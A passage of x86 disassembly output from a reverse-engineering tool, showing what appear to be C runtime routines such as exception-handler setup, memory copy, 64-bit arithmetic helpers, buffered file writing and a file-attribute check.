pop ecx
and [ebp+var_34], 0
loc_41D430: ; DATA XREF: sub_41D3AA+3Co
cmp [ebp+var_4], 0
jz short loc_41D44D
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D456
; ---------------------------------------------------------------------------
loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D456: ; CODE XREF: sub_41D3AA+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41D3AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41D481
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41D4CE
; ---------------------------------------------------------------------------
loc_41D481: ; CODE XREF: sub_41D45E+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41D4BF
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41D2AC
loc_41D4BF: ; CODE XREF: sub_41D45E+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41D4CE: ; CODE XREF: sub_41D45E+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D45E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p
; sub_4227F8+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41D52A
loc_41D4F1: ; CODE XREF: sub_41D4D3+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41D4FB
call sub_422E52
loc_41D4FB: ; CODE XREF: sub_41D4D3+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41D510
cmp ecx, [eax+8]
jle short loc_41D515
loc_41D510: ; CODE XREF: sub_41D4D3+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41D521
loc_41D515: ; CODE XREF: sub_41D4D3+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41D521: ; CODE XREF: sub_41D4D3+40j
cmp [ebp+arg_4], 0
jge short loc_41D4F1
mov eax, [ebp+var_4]
loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41D53E
cmp esi, eax
jbe short loc_41D543
loc_41D53E: ; CODE XREF: sub_41D4D3+65j
call sub_422E52
loc_41D543: ; CODE XREF: sub_41D4D3+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41D4D3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_41D568
push [ebp+arg_0]
call sub_426356 ; RtlUnwind
loc_41D568: ; DATA XREF: sub_41D550+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D550 endp
; =============== S U B R O U T I N E =======================================
sub_41D570 proc near ; DATA XREF: sub_41D592+Ao
; sub_41D5FA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D591
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D591: ; CODE XREF: sub_41D570+10j
retn
sub_41D570 endp
; =============== S U B R O U T I N E =======================================
sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp
; sub_423CC0+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41D570
push large dword ptr fs:0
mov large fs:0, esp
loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D5EC
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D5EC
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D5EA
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D626
call dword ptr [ebx+esi*4+8]
loc_41D5EA: ; CODE XREF: sub_41D592+44j
jmp short loc_41D5AF
; ---------------------------------------------------------------------------
loc_41D5EC: ; CODE XREF: sub_41D592+2Aj
; sub_41D592+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D592 endp
; =============== S U B R O U T I N E =======================================
sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D570
jnz short locret_41D61C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D61C
mov eax, 1
locret_41D61C: ; CODE XREF: sub_41D5FA+10j
; sub_41D5FA+1Bj
retn
sub_41D5FA endp
; =============== S U B R O U T I N E =======================================
sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep
; sub_422DB0+40p
push ebx
push ecx
mov ebx, offset dword_43AE2C
jmp short loc_41D630
sub_41D61D endp
; =============== S U B R O U T I N E =======================================
sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp
; sub_423CC0+78p
push ebx
push ecx
mov ebx, offset dword_43AE2C
mov ecx, [ebp+8]
loc_41D630: ; CODE XREF: sub_41D61D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D626 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D640 proc near ; CODE XREF: sub_40D340+5p
; sub_40D4E2+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D640 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D65F proc near ; CODE XREF: sub_40D977+26p
; sub_4260E2+10p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BA91
pop ecx
retn
sub_41D65F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap
; sub_41E742+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D690
cmp edi, eax
jb loc_41D808
loc_41D690: ; CODE XREF: sub_41D670+16j
test edi, 3
jnz short loc_41D6AC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp ds:off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
loc_41D6AC: ; CODE XREF: sub_41D670+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D6C4
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D6C4: ; CODE XREF: sub_41D670+46j
jmp dword ptr ds:loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D6CC: ; CODE XREF: sub_41D670+31j
; sub_41D670+8Ej ...
jmp ds:off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D6E0
dd offset loc_41D70C
dd offset loc_41D730
; ---------------------------------------------------------------------------
loc_41D6E0: ; DATA XREF: sub_41D670+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp ds:off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D70C: ; DATA XREF: sub_41D670+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp ds:off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D730: ; DATA XREF: sub_41D670+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp ds:off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr
dd offset loc_41D79C
dd offset loc_41D794
dd offset loc_41D78C
dd offset loc_41D784
dd offset loc_41D77C
dd offset loc_41D774
dd offset loc_41D76C
; ---------------------------------------------------------------------------
loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670:off_41D74Co
jmp ds:off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r
; sub_41D670+92r ...
dd offset loc_41D7D0
dd offset loc_41D7DC
dd offset loc_41D7F0
; ---------------------------------------------------------------------------
loc_41D7C8: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7D0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D7DC: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7F0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D808: ; CODE XREF: sub_41D670+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D83C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp ds:off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D830: ; CODE XREF: sub_41D670+1B1j
; sub_41D670+208j ...
neg ecx
jmp ds:off_41D900[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D83C: ; CODE XREF: sub_41D670+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D854
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D854: ; CODE XREF: sub_41D670+1D6j
; DATA XREF: sub_41D670+1DDr
jmp ds:off_41D950[ecx*4]
; ---------------------------------------------------------------------------
align 4
push 880041D8h
fadd dword ptr [ecx+0]
mov al, 0D8h
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp ds:off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp ds:off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D830
std
rep movsd
cld
jmp ds:off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D904
dd offset loc_41D90C
dd offset loc_41D914
dd offset loc_41D91C
dd offset loc_41D924
dd offset loc_41D92C
dd offset loc_41D934
off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------
loc_41D904: ; DATA XREF: sub_41D670+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D90C: ; DATA XREF: sub_41D670+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D914: ; DATA XREF: sub_41D670+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D91C: ; DATA XREF: sub_41D670+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D924: ; DATA XREF: sub_41D670+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D92C: ; DATA XREF: sub_41D670+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D934: ; DATA XREF: sub_41D670+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D947: ; CODE XREF: sub_41D670+1C2j
; DATA XREF: sub_41D670:off_41D900o
jmp ds:off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r
; sub_41D670:loc_41D854r ...
dd offset loc_41D968
dd offset loc_41D978
dd offset loc_41D98C
; ---------------------------------------------------------------------------
loc_41D960: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D968: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D978: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D98C: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D670 endp
; =============== S U B R O U T I N E =======================================
sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p
; sub_40DA4F+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41D9A5 endp
; =============== S U B R O U T I N E =======================================
sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p
arg_0 = dword ptr 4
push esi
push dword_4DD39C
call sub_422EA8
mov edx, dword_4DD39C
pop ecx
mov ecx, dword_4DD398
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41DA12
push edx
call sub_422EA8
add eax, 10h
push eax
push dword_4DD39C
call sub_41BBE2
add esp, 0Ch
test eax, eax
jnz short loc_41D9F5
retn
; ---------------------------------------------------------------------------
loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj
mov ecx, dword_4DD398
sub ecx, dword_4DD39C
mov dword_4DD39C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DD398, ecx
loc_41DA12: ; CODE XREF: sub_41D9B3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DD398, 4
retn
sub_41D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D9B3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41DA20 endp
; =============== S U B R O U T I N E =======================================
sub_41DA32 proc near ; DATA XREF: .data:00429018o
push 80h
call sub_41BEB5
test eax, eax
pop ecx
mov dword_4DD39C, eax
jnz short loc_41DA53
push 18h
call sub_41E2C9
mov eax, dword_4DD39C
pop ecx
loc_41DA53: ; CODE XREF: sub_41DA32+12j
and dword ptr [eax], 0
mov eax, dword_4DD39C
mov dword_4DD398, eax
retn
sub_41DA32 endp
; =============== S U B R O U T I N E =======================================
sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap
; sub_40DB5E+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_41DA75
loc_41DA6D: ; CODE XREF: sub_41DA61+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_41DA6D
loc_41DA75: ; CODE XREF: sub_41DA61+Aj
mov edx, [esp+arg_4]
push esi
loc_41DA7A: ; CODE XREF: sub_41DA61+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_41DA7A
pop esi
retn
sub_41DA61 endp
; =============== S U B R O U T I N E =======================================
sub_41DA8B proc near ; CODE XREF: sub_412197+26Ep
; sub_412197+365p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB07
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_41DAAA
cmp edi, 1
jz short loc_41DAAA
cmp edi, 2
jnz short loc_41DB07
loc_41DAAA: ; CODE XREF: sub_41DA8B+13j
; sub_41DA8B+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41DAC1
push esi
call sub_422FA3
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_41DAC1: ; CODE XREF: sub_41DA8B+27j
push esi
call sub_41E42B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41DAD6
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41DAEA
; ---------------------------------------------------------------------------
loc_41DAD6: ; CODE XREF: sub_41DA8B+42j
test al, 1
jz short loc_41DAEA
test al, 8
jz short loc_41DAEA
test ah, 4
jnz short loc_41DAEA
mov dword ptr [esi+18h], 200h
loc_41DAEA: ; CODE XREF: sub_41DA8B+49j
; sub_41DA8B+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_422F09
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41DB14
; ---------------------------------------------------------------------------
loc_41DB07: ; CODE XREF: sub_41DA8B+Bj
; sub_41DA8B+1Dj
mov dword_4DBDDC, 16h
or eax, 0FFFFFFFFh
loc_41DB14: ; CODE XREF: sub_41DA8B+7Aj
pop edi
pop esi
retn
sub_41DA8B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep
; sub_4143F7+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41DB39
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41DB39: ; CODE XREF: sub_41DB20+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41DB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB54 proc near ; CODE XREF: sub_416563+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41DB78
xor eax, eax
jmp loc_41DC45
; ---------------------------------------------------------------------------
loc_41DB78: ; CODE XREF: sub_41DB54+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41DB8B
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41DB92
; ---------------------------------------------------------------------------
loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj
mov [ebp+arg_C], 1000h
loc_41DB92: ; CODE XREF: sub_41DB54+35j
; sub_41DB54+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41DBC6
mov eax, [esi+4]
test eax, eax
jz short loc_41DBC6
cmp ebx, eax
mov edi, ebx
jb short loc_41DBAC
mov edi, eax
loc_41DBAC: ; CODE XREF: sub_41DB54+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41CD20
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41DC0C
; ---------------------------------------------------------------------------
loc_41DBC6: ; CODE XREF: sub_41DB54+47j
; sub_41DB54+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41DC11
test ecx, ecx
jz short loc_41DBDA
push esi
call sub_41E42B
test eax, eax
pop ecx
jnz short loc_41DC53
loc_41DBDA: ; CODE XREF: sub_41DB54+79j
cmp [ebp+arg_C], 0
jz short loc_41DBED
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41DBEF
; ---------------------------------------------------------------------------
loc_41DBED: ; CODE XREF: sub_41DB54+8Aj
mov edi, ebx
loc_41DBEF: ; CODE XREF: sub_41DB54+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41DC4A
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41DC4A
loc_41DC0C: ; CODE XREF: sub_41DB54+70j
mov edi, [ebp+var_4]
jmp short loc_41DC3A
; ---------------------------------------------------------------------------
loc_41DC11: ; CODE XREF: sub_41DB54+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41FE2A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC53
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41DC3A
mov [ebp+arg_C], 1
loc_41DC3A: ; CODE XREF: sub_41DB54+BBj
; sub_41DB54+DDj
test ebx, ebx
jnz loc_41DB92
mov eax, [ebp+arg_8]
loc_41DC45: ; CODE XREF: sub_41DB54+1Fj
; sub_41DB54+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DC4A: ; CODE XREF: sub_41DB54+ADj
; sub_41DB54+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41DC55
; ---------------------------------------------------------------------------
loc_41DC53: ; CODE XREF: sub_41DB54+84j
; sub_41DB54+CFj
mov eax, edi
loc_41DC55: ; CODE XREF: sub_41DB54+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41DC45
sub_41DB54 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_41DC7E
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
call sub_420C7F
pop ecx
loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj
test al, 1
jz short loc_41DC9F
test [esp+arg_4], 2
jz short loc_41DC9F
mov dword_4DBDDC, 0Dh
mov dword_4DBDE0, 5
jmp short loc_41DC7A
; ---------------------------------------------------------------------------
loc_41DC9F: ; CODE XREF: sub_41DC5E+22j
; sub_41DC5E+29j
xor eax, eax
retn
sub_41DC5E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp
; sub_41AED9+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DCD2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DD13
; ---------------------------------------------------------------------------
loc_41DCD2: ; CODE XREF: sub_41DCB0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DCE0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DD0E
cmp edx, [esp+8+arg_4]
ja short loc_41DD0E
jb short loc_41DD0F
cmp eax, [esp+8+arg_0]
jbe short loc_41DD0F
loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej
; sub_41DCB0+54j
dec esi
loc_41DD0F: ; CODE XREF: sub_41DCB0+56j
; sub_41DCB0+5Cj
xor edx, edx
mov eax, esi
loc_41DD13: ; CODE XREF: sub_41DCB0+20j
pop esi
pop ebx
retn 10h
sub_41DCB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp
; sub_41AED9+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DD41
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
